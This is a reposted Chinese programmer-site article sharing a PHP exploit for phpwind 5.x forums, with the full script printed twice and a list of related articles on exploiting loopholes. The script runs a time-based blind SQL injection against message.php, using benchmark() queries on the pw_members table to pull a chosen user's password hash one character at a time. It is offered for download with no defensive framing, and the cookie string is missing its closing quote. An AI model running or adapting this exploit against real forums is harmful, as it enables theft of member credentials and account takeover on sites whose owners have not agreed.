phpwind Exp 漏洞利用
程序员文章站
2022-03-29 23:04:25
忘记什么时候我就拿到了,一直没发挥.由于某些原因一直没发出来,毕竟不是原创,现在有人帖出来了,我也放出来. 程序代码
忘记什么时候我就拿到了,一直没发挥.由于某些原因一直没发出来,毕竟不是原创,现在有人帖出来了,我也放出来.
程序代码
<?php
print_r("
+------------------------------------------------------------------+
exploit for phpwind 5.x version
by loveshell
just for fun :)
+------------------------------------------------------------------+
");
ini_set("max_execution_time",0);
error_reporting(7);
$bbspath="$argv[2]";
$server="$argv[1]";
$cookie='1ae40_lastfid=0; 1ae40_ol_offset=776; 1ae40_ck_info=%2f%09.72m.net; 1ae40_winduser=a1qkbge9ufxuuwahdlofuamiafxeugimwgfuvvydaa8hbfqnuva%3d; 1ae40_lastvisit=0%091173612527%09%2fbbs%2findex.php%3f;
$useragent="mozilla/4.0 (compatible; msie 6.0; windows nt 5.1; sv1)";
$uid=intval($argv[3])>0 ? intval($argv[3]):1;
echo "\r\n#logging\t........";
if(islogin()) echo "login ok!\r\n";
else die("not login!\tcheck your cookie and useragent!\r\n");
echo "#testing\t........";
if(test()) echo "vul!\r\n";
else die("not vul");
$hashtable='0123456789abcdef';
$count=0;
echo "#cracking\t\r\n\r\n";
for($i=1;$i<=16;$i++){
echo "第\t$i\t位:";
$subpass=crack($i+8);
$password=$password.$subpass;
echo "$subpass\r\n";
}
echo "password:\t$password";
echo "\r\ngood luck $count times\r\n";
function send($cmd,$path)
{
global $bbspath,$server,$cookie,$count,$useragent,$debug,$evilip;
$path=$bbspath."$path";
$message = "post ".$path." http/1.1\r\n";
$message .= "accept: */*\r\n";
$message .= "accept-language: zh-cn\r\n";
$message .= "referer: http://".$server.$path."\r\n";
$message .= "content-type: application/x-www-form-urlencoded\r\n";
$message .= "user-agent: ".$useragent."\r\n";
$message .= "host: ".$server."\r\n";
$message .= "content-length: ".strlen($cmd)."\r\n";
$message .= "connection: keep-alive\r\n";
$message .= "cookie: ".$cookie."\r\n";
$message .= "\r\n";
$message .= $cmd."\r\n";
$count=$count+1;
$fd = fsockopen( $server, 80 );
fputs($fd,$message);
$resp = "<pre>";
while($fd&&!feof($fd)) {
$resp .= fread($fd,1024);
}
fclose($fd);
$resp .="</pre>";
if($debug) {echo $cmd;echo $resp;}
// echo $resp;
return $resp;
}
function sqlject($sql){
global $uid;
$data='action=pubmsg&readmsg=0)';
$data=$data." union select benchmark(1000000,md5(12345)) from pw_members where uid=$uid and $sql".'/*';
$echo=send($data,'message.php');
preg_match("/total (.*)\(/i",$echo,$matches);
if($matches[1]>2) return 1;
else return 0;
}
function test(){
global $uid;
$data='action=pubmsg&readmsg=0)';
$echo=send($data,'message.php');
if(strpos($echo,'mysql server error')) return 1;
else return 0;
}
function islogin(){
global $uid;
$data='action=pubmsg&readmsg=0)';
$echo=send($data,'message.php');
if(strpos($echo,'login.php"')) return 0;
else return 1;
}
function crack($i){
global $hashtable;
$sql="mid(password,$i,1)>0x".bin2hex('8');
if(sqlject($sql)){
$a=8;
$b=15;}
else {
$a=0;
$b=8;
}
for($tmp=$a;$tmp<=$b;$tmp++){
$sql="mid(password,$i,1)=0x".bin2hex($hashtable[$tmp]);
if(sqlject($sql)) return $hashtable[$tmp];
}
crack($i);
}
?>
点击下载此文件
程序代码
<?php
print_r("
+------------------------------------------------------------------+
exploit for phpwind 5.x version
by loveshell
just for fun :)
+------------------------------------------------------------------+
");
ini_set("max_execution_time",0);
error_reporting(7);
$bbspath="$argv[2]";
$server="$argv[1]";
$cookie='1ae40_lastfid=0; 1ae40_ol_offset=776; 1ae40_ck_info=%2f%09.72m.net; 1ae40_winduser=a1qkbge9ufxuuwahdlofuamiafxeugimwgfuvvydaa8hbfqnuva%3d; 1ae40_lastvisit=0%091173612527%09%2fbbs%2findex.php%3f;
$useragent="mozilla/4.0 (compatible; msie 6.0; windows nt 5.1; sv1)";
$uid=intval($argv[3])>0 ? intval($argv[3]):1;
echo "\r\n#logging\t........";
if(islogin()) echo "login ok!\r\n";
else die("not login!\tcheck your cookie and useragent!\r\n");
echo "#testing\t........";
if(test()) echo "vul!\r\n";
else die("not vul");
$hashtable='0123456789abcdef';
$count=0;
echo "#cracking\t\r\n\r\n";
for($i=1;$i<=16;$i++){
echo "第\t$i\t位:";
$subpass=crack($i+8);
$password=$password.$subpass;
echo "$subpass\r\n";
}
echo "password:\t$password";
echo "\r\ngood luck $count times\r\n";
function send($cmd,$path)
{
global $bbspath,$server,$cookie,$count,$useragent,$debug,$evilip;
$path=$bbspath."$path";
$message = "post ".$path." http/1.1\r\n";
$message .= "accept: */*\r\n";
$message .= "accept-language: zh-cn\r\n";
$message .= "referer: http://".$server.$path."\r\n";
$message .= "content-type: application/x-www-form-urlencoded\r\n";
$message .= "user-agent: ".$useragent."\r\n";
$message .= "host: ".$server."\r\n";
$message .= "content-length: ".strlen($cmd)."\r\n";
$message .= "connection: keep-alive\r\n";
$message .= "cookie: ".$cookie."\r\n";
$message .= "\r\n";
$message .= $cmd."\r\n";
$count=$count+1;
$fd = fsockopen( $server, 80 );
fputs($fd,$message);
$resp = "<pre>";
while($fd&&!feof($fd)) {
$resp .= fread($fd,1024);
}
fclose($fd);
$resp .="</pre>";
if($debug) {echo $cmd;echo $resp;}
// echo $resp;
return $resp;
}
function sqlject($sql){
global $uid;
$data='action=pubmsg&readmsg=0)';
$data=$data." union select benchmark(1000000,md5(12345)) from pw_members where uid=$uid and $sql".'/*';
$echo=send($data,'message.php');
preg_match("/total (.*)\(/i",$echo,$matches);
if($matches[1]>2) return 1;
else return 0;
}
function test(){
global $uid;
$data='action=pubmsg&readmsg=0)';
$echo=send($data,'message.php');
if(strpos($echo,'mysql server error')) return 1;
else return 0;
}
function islogin(){
global $uid;
$data='action=pubmsg&readmsg=0)';
$echo=send($data,'message.php');
if(strpos($echo,'login.php"')) return 0;
else return 1;
}
function crack($i){
global $hashtable;
$sql="mid(password,$i,1)>0x".bin2hex('8');
if(sqlject($sql)){
$a=8;
$b=15;}
else {
$a=0;
$b=8;
}
for($tmp=$a;$tmp<=$b;$tmp++){
$sql="mid(password,$i,1)=0x".bin2hex($hashtable[$tmp]);
if(sqlject($sql)) return $hashtable[$tmp];
}
crack($i);
}
?>
点击下载此文件
下一篇: 对错误,漏洞和exploits的说明
推荐阅读
-
黑客利用漏洞提现千万(理财产品真的安全吗?)
-
Linux>=2.6.39 Mempodipper本地提权分析和EXP利用(CVE-2012-0056)
-
在漏洞利用Python代码真的很爽
-
CVE-2019-0193 apache 漏洞利用与安全防护方案
-
ThinkPHP框架任意代码执行漏洞的利用及其修复方法
-
黑客利用漏洞提现千万(理财产品真的安全吗?)
-
恶意程序Korplug利用IE浏览器漏洞盗取有价值信息及用户隐私
-
如何利用苹果漏洞隐藏Apple Watch图标?
-
史上最简单的手机赚钱方法(利用网购交易漏洞两边赚钱!)
-
如何利用360积分商城官方活动漏洞bug 全自动后台抽iPhone5S攻略